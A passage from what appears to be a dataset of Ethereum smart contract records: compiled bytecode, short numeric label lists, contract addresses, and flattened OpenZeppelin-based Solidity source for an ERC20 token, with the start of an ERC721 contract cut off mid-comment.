079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6004546001600160a01b031681565b303b1590565b6000828201838110156124f65760405162461bcd60e51b815260040161073390613505565b9392505050565b60006124f683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612a50565b600080546001600160a01b0319166001600160a01b03831690811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350565b6113cf846323b872dd60e01b8585856040516024016125ab9392919061328c565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152612a7c565b6126018363a9059cbb60e01b84846040516024016125ab9291906132b0565b505050565b61260e612c4e565b612616612cff565b60408051608081019182905261266991601690600490826000855b825461010083900a900460ff1681526020600192830181810494850194909303909202910180841161263157905050505050506115ec565b600e546000818152600c6020818152604080842086516001600160401b0390811686528184528286205487875285855288850151909116865281845291852054958552929091529394506126f0918560025b60200201516001600160401b03166001600160401b0316815260200190815260200160002054826124d190919063ffffffff16565b600e546000908152600c6020526040812091925061271191908560036126bb565b600e546000908152600c6020526040812091925061273291908560046126bb565b9050600061274b612744846004612863565b83906124fd565b600e546000818152600c6020818152604080842060a08b01516001600160401b0316855280835290842054948452919052929350909161278d918760066126bb565b600e546000908152600c602052604081209192506127ae91908760076126bb565b600e546000908152600c602052604081209192506127cf91908760086126bb565b600e546000908152600c602052604081209192506127f091908760096126bb565b600e546000908152600c60205260408120919250612811919087600a6126bb565b90506000612838612823856003612863565b61182d612831886006612863565b85906124d1565b6040805160808101825260105481526020810197909752860193909352505060608301525091505090565b60008261287257506000611fb5565b8282028284828161287f57fe5b04146124f65760405162461bcd60e51b815260040161073390613711565b60006124f683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b0b565b6128e76123f1565b156129045760405162461bcd60e51b815260040161073390613752565b60005b60048110156129595760048054600160a01b900460ff169083908390811061292b57fe5b602002015160ff1611156129515760405162461bcd60e51b81526004016107339061353c565b600101612907565b50600354600e54604051620dce4760ea1b81526000926001600160a01b0316916337391c00916129919130918791899160040161325d565b602060405180830381600087803b1580156129ab57600080fd5b505af11580156129bf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129e3919061305b565b600e54600090815260086020908152604082208054600181018255908352912001819055601054909150612a1790846124d1565b6010554260115560405130907fe3d4187f6ca4248660cc0ac8b8056515bac4a8132be2eca31d6d0cc170722a7e90610f1f9084906138cd565b60008184841115612a745760405162461bcd60e51b815260040161073391906133e4565b505050900390565b6060612ad1826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316612b429092919063ffffffff16565b8051909150156126015780806020019051810190612aef9190612fab565b6126015760405162461bcd60e51b815260040161073390613863565b60008183612b2c5760405162461bcd60e51b815260040161073391906133e4565b506000838581612b3857fe5b0495945050505050565b6060612b518484600085612b59565b949350505050565b606082471015612b7b5760405162461bcd60e51b815260040161073390613568565b612b8485612c0f565b612ba05760405162461bcd60e51b81526004016107339061380b565b60006060866001600160a01b03168587604051612bbd919061322d565b60006040518083038185875af1925050503d8060008114612bfa576040519150601f19603f3d011682016040523d82523d6000602084013e612bff565b606091505b50915091506122a5828286612c15565b3b151590565b60608315612c245750816124f6565b825115612c345782518084602001fd5b8160405162461bcd60e51b815260040161073391906133e4565b60405180608001604052806004906020820280368337509192915050565b600183019183908215612cef5791602002820160005b83821115612cc057835183826101000a81548160ff021916908360ff1602179055509260200192600101602081600001049283019260010302612c82565b8015612ced5782816101000a81549060ff0219169055600101602081600001049283019260010302612cc0565b505b50612cfb929150612d98565b5090565b604051806101600160405280600b906020820280368337509192915050565b600183019183908215612cef5791601f016020900482015b82811115612cef578254825591600101919060010190612d36565b828054828255906000526020600020908101928215612d8c579160200282015b82811115612d8c578251825591602001919060010190612d71565b50612cfb929150612db1565b5b80821115612cfb57805460ff19168155600101612d99565b5b80821115612cfb5760008155600101612db2565b600082601f830112612dd6578081fd5b612de060806138f2565b9050808284608085011115612df457600080fd5b60005b6004811015612e20578135612e0b8161397b565b83526020928301929190910190600101612df7565b50505092915050565b600060208284031215612e3a578081fd5b81356124f681613963565b600060208284031215612e56578081fd5b81516124f681613963565b60008060408385031215612e73578081fd5b8235612e7e81613963565b946020939093013593505050565b60006020808385031215612e9e578182fd5b82356001600160401b03811115612eb3578283fd5b8301601f81018513612ec3578283fd5b8035612ed6612ed182613918565b6138f2565b8181528381019083850185840285018601891015612ef2578687fd5b8694505b83851015612f14578035835260019490940193918501918501612ef6565b50979650505050505050565b600060808284031215612f31578081fd5b6124f68383612dc6565b600060808284031215612f4c578081fd5b82601f830112612f5a578081fd5b612f6460806138f2565b808385608086011115612f75578384fd5b835b6004811015612fa0578151612f8b8161397b565b84526020938401939190910190600101612f77565b509095945050505050565b600060208284031215612fbc578081fd5b815180151581146124f6578182fd5b60008060008060008060c08789031215612fe3578182fd5b8635612fee81613963565b95506020870135612ffe81613963565b94506040870135935060608701356130158161397b565b9250608087013561302581613963565b915060a087013561303581613963565b809150509295509295509295565b600060208284031215613054578081fd5b5035919050565b60006020828403121561306c578081fd5b5051919050565b60008060408385031215613085578182fd5b823591506020808401356001600160401b038111156130a2578283fd5b8401601f810186136130b2578283fd5b80356130c0612ed182613918565b818152838101908385016080808502860187018b10156130de578788fd5b8795505b8486101561310a576130f48b83612dc6565b84526001959095019492860192908101906130e2565b5096999098509650505050505050565b60008060a0838503121561312c578182fd5b8235915061313d8460208501612dc6565b90509250929050565b60008060408385031215613158578182fd5b50508035926020909101359150565b60008060408385031215613179578182fd5b8235915060208301356001600160401b0381168114613196578182fd5b809150509250929050565b6000602082840312156131b2578081fd5b81356124f68161397b565b6000806000606084860312156131d1578081fd5b83356131dc8161397b565b925060208401356131ec8161397b565b915060408401356131fc8161397b565b809150509250925092565b8060005b60048110156113cf57815160ff1684526020938401939091019060010161320b565b6000825161323f818460208701613937565b9190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b038516815260e0810161327a6020830186613207565b60a082019390935260c0015292915050565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6001600160a01b03929092168252602082015260400190565b60808101818360005b6004811015612e205781518352602092830192909101906001016132d2565b6020808252825182820181905260009190848201906040850190845b818110156133295783518352928401929184019160010161330d565b50909695505050505050565b6101608101818360005b600b811015612e205781516001600160401b031683526020928301929091019060010161333f565b60808101611fb58284613207565b905460ff8082168352600882901c81166020840152601082901c8116604084015260189190911c16606082015260800190565b901515815260200190565b9283526020830191909152604082015260600190565b93845260208401929092526040830152606082015260800190565b6000602082528251806020840152613403816040850160208701613937565b601f01601f19169190910160400192915050565b60208082526006908201526572657365743f60d01b604082015260600190565b6020808252600a90820152691b9bdd08191c985dd95960b21b604082015260600190565b602080825260139082015272657863656564206e756d6265722073636f706560681b604082015260600190565b60208082526019908201527f5f6973737565496e646578203c3d206973737565496e64657800000000000000604082015260600190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526012908201527165786365656420746865206d6178696d756d60701b604082015260600190565b60208082526026908201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6040820152651c8818d85b1b60d21b606082015260800190565b6020808252600e908201526d3737ba10333937b69037bbb732b960911b604082015260600190565b60208082526019908201527f656e7465722064726177696e6720706861736520666972737400000000000000604082015260600190565b60208082526007908201526618db185a5b595960ca1b604082015260600190565b60208082526018908201527f64726177696e672c2063616e206e6f7420627579206e6f770000000000000000604082015260600190565b6020808252600d908201526c6e6f7420647261772074696d6560981b604082015260600190565b6020808252602e908201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160408201526d191e481a5b9a5d1a585b1a5e995960921b606082015260800190565b60208082526019908201527f7072696365206d7573742061626f7665206d696e507269636500000000000000604082015260600190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b60208082526017908201527f6472617765642c2063616e206e6f7420627579206e6f77000000000000000000604082015260600190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600b908201526a61646d696e3a207775743f60a81b604082015260600190565b6020808252600e908201526d6e6f742070617273652074696d6560901b604082015260600190565b6020808252601d908201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604082015260600190565b6020808252600790820152666472617765643f60c81b604082015260600190565b6020808252602a908201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6040820152691bdd081cdd58d8d9595960b21b606082015260800190565b602080825260069082015265191c985dd95960d21b604082015260600190565b90815260200190565b918252602082015260400190565b60ff91909116815260200190565b6040518181016001600160401b038111828210171561391057600080fd5b604052919050565b60006001600160401b0382111561392d578081fd5b5060209081020190565b60005b8381101561395257818101518382015260200161393a565b838111156113cf5750506000910152565b6001600160a01b038116811461397857600080fd5b50565b60ff8116811461397857600080fdfea2646970667358221220643b25ff718d5e64cd702835843d20976675568a5ec4ba75b92c9e68fb43027b64736f6c634300060c0033
[ 4, 7, 9, 10, 5 ]
0xf29408f9d7c65db70797296096893e6de88b2f9b
// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/token/ERC20/IERC20.sol // OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol // OpenZeppelin Contracts v4.4.0 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol // OpenZeppelin Contracts v4.4.0 (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // File: contracts/token/ERC20/behaviours/ERC20Decimals.sol pragma solidity ^0.8.0; /** * @title ERC20Decimals * @dev Implementation of the ERC20Decimals. Extension of {ERC20} that adds decimals storage slot. */ abstract contract ERC20Decimals is ERC20 { uint8 private immutable _decimals; /** * @dev Sets the value of the `decimals`. This value is immutable, it can only be * set once during construction. */ constructor(uint8 decimals_) { _decimals = decimals_; } function decimals() public view virtual override returns (uint8) { return _decimals; } } // File: contracts/service/ServicePayer.sol pragma solidity ^0.8.0; interface IPayable { function pay(string memory serviceName) external payable; } /** * @title ServicePayer * @dev Implementation of the ServicePayer */ abstract contract ServicePayer { constructor(address payable receiver, string memory serviceName) payable { IPayable(receiver).pay{value: msg.value}(serviceName); } } // File: contracts/token/ERC20/StandardERC20.sol pragma solidity ^0.8.0; /** * @title StandardERC20 * @dev Implementation of the StandardERC20 */ contract StandardERC20 is ERC20Decimals, ServicePayer { constructor( string memory name_, string memory symbol_, uint8 decimals_, uint256 initialBalance_, address payable feeReceiver_ ) payable ERC20(name_, symbol_) ERC20Decimals(decimals_) ServicePayer(feeReceiver_, "StandardERC20") { require(initialBalance_ > 0, "StandardERC20: supply cannot be zero"); _mint(_msgSender(), initialBalance_); } function decimals() public view virtual override returns (uint8) { return super.decimals(); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461014557806370a082311461015857806395d89b4114610181578063a457c2d714610189578063a9059cbb1461019c578063dd62ed3e146101af57600080fd5b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100ef57806323b872dd14610101578063313ce56714610114575b600080fd5b6100b66101e8565b6040516100c391906107fa565b60405180910390f35b6100df6100da3660046107d0565b61027a565b60405190151581526020016100c3565b6002545b6040519081526020016100c3565b6100df61010f366004610794565b610290565b60405160ff7f00000000000000000000000000000000000000000000000000000000000000121681526020016100c3565b6100df6101533660046107d0565b61033f565b6100f361016636600461073f565b6001600160a01b031660009081526020819052604090205490565b6100b661037b565b6100df6101973660046107d0565b61038a565b6100df6101aa3660046107d0565b610423565b6100f36101bd366004610761565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6060600380546101f790610875565b80601f016020809104026020016040519081016040528092919081815260200182805461022390610875565b80156102705780601f1061024557610100808354040283529160200191610270565b820191906000526020600020905b81548152906001019060200180831161025357829003601f168201915b5050505050905090565b6000610287338484610430565b50600192915050565b600061029d848484610554565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156103275760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103348533858403610430565b506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161028791859061037690869061084f565b610430565b6060600480546101f790610875565b3360009081526001602090815260408083206001600160a01b03861684529091528120548281101561040c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161031e565b6104193385858403610430565b5060019392505050565b6000610287338484610554565b6001600160a01b0383166104925760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161031e565b6001600160a01b0382166104f35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161031e565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166105b85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161031e565b6001600160a01b03821661061a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161031e565b6001600160a01b038316600090815260208190526040902054818110156106925760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161031e565b6001600160a01b038085166000908152602081905260408082208585039055918516815290812080548492906106c990849061084f565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161071591815260200190565b60405180910390a350505050565b80356001600160a01b038116811461073a57600080fd5b919050565b60006020828403121561075157600080fd5b61075a82610723565b9392505050565b6000806040838503121561077457600080fd5b61077d83610723565b915061078b60208401610723565b90509250929050565b6000806000606084860312156107a957600080fd5b6107b284610723565b92506107c060208501610723565b9150604084013590509250925092565b600080604083850312156107e357600080fd5b6107ec83610723565b946020939093013593505050565b600060208083528351808285015260005b818110156108275785810183015185820160400152820161080b565b81811115610839576000604083870101525b50601f01601f1916929092016040019392505050565b6000821982111561087057634e487b7160e01b600052601160045260246000fd5b500190565b600181811c9082168061088957607f821691505b602082108114156108aa57634e487b7160e01b600052602260045260246000fd5b5091905056fea26469706673582212209f57f91b149acbbf15127663ee4a69e18b5179a2b2aabfbbc16142b88690e79064736f6c63430008070033
[ 38 ]
0xf295a4076ee0885b91922bc83654d3923efd11e8
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed 